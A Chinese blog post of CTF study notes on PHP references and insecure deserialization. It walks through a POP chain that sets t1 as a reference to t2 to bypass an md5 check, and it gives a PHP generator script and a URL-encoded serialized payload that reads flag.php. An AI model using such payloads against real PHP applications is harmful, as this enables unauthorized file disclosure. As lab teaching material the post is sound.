04.指针问题
本文最后更新于446 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

一、指针

用&符号可以进行指针引用,类似于C语言中的指针。例如:

$a=&$b;

这样$a的值会随着$b的值变化,确保两者永远相等。

二、例题

<?php
class Seri{
	public $alize;
	public function __construct($alize){
		$this->alize = $alize;
	}
	public function __destruct(){
		$this->alize->getFlag();
	}
}
class Alize{
	public $f;
	public $tl;
	public $t2;
	function __construct($file){
	echo "Another construction!!";
	$this->f = $file;
	$this->t1 = $this->t2 = md5 (rand(1,10000));
	}
	public function getFlag(){
		$this->t2 = md5(rand(1,10000)) ;
		echo $this->t1;
		echo $this->t2;
		if($this->t1 === $this->t2)
		{
			if(isset($this->f)){
				echo @highlight_file($this->f,true);
			}
		}else{
			echo "no";
		}
	}
}
$p = $_GET['p'];
if(isset($p)){
	$p = unserialize($p);
}else{
	show_source(__FILE__);
	//echo"NONONO";
}
?>
头:$p

Seri->__destruct() $this->alize=new Alize

尾:Alize->getFlag() $f='flag.php'

解题思路:
1.构造POP链,就要找到头和尾,再想办法把头和尾连接起来
2.$p 是用户输入的,是可控的,这是POP链的头部
3.最终目的是要读取flag.php,就要从源代码中需要可以读文件或者执行系统命令的地方。 Alize->getFlag()可以读取文件。

echo @highlight_file($this->f,true);

那么,只需要令

$this->f='flag.php';
$this->t1 === $this->t2;

因此 Alize->getFlag()就是POP链的尾部。

4.如何触发 Alize->getFlag()呢?搜索getFlag,发现 seri->_destruct()中存在代码:

$this->alize->->getFlag();

那么,只需要令

$this->alize=new Alize;

这样就完成了POP链的构造。

5.生成序列化数据

<?php  
class Seri{  
    public $alize;  
//    public function __construct($alize){  
//        $this->alize = $alize;  
//    }  
//    public function __destruct(){  
//        $this->alize->getFlag();  
//    }  
}  
class Alize{  
    public $f = 'flag.php';  
    public $t1;  
    public $t2;  
//  function __construct($file){  
//        echo "Another construction!!";  
//  $this->f = $file;  
//  $this->t1 = $this->t2 = md5 (rand(1,10000));  
//  }  
//  public function getFlag(){  
//        $this->t2 = md5(rand(1,10000)) ;  
//        echo $this->tl;  
//        echo $this->t2;  
//        if($this->t1 === $this->t2)  
//        {  
//            if(isset($this->f)){  
//                echo @highlight_file($this->f,true);  
//            }  
//        }else{  
//            echo "no";  
//        }  
//    }  
}  
$a = new Alize();  
$a->t1 = &$a->t2;  
$s = new Seri();  
$s->alize = $a;  
echo urlencode(serialize($s));  
?>

6.将payload输入获取flag

O%3A4%3A%22Seri%22%3A1%3A%7Bs%3A5%3A%22alize%22%3BO%3A5%3A%22Alize%22%3A3%3A%7Bs%3A1%3A%22f%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A2%3A%22t1%22%3BN%3Bs%3A2%3A%22t2%22%3BR%3A4%3B%7D%7D
文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇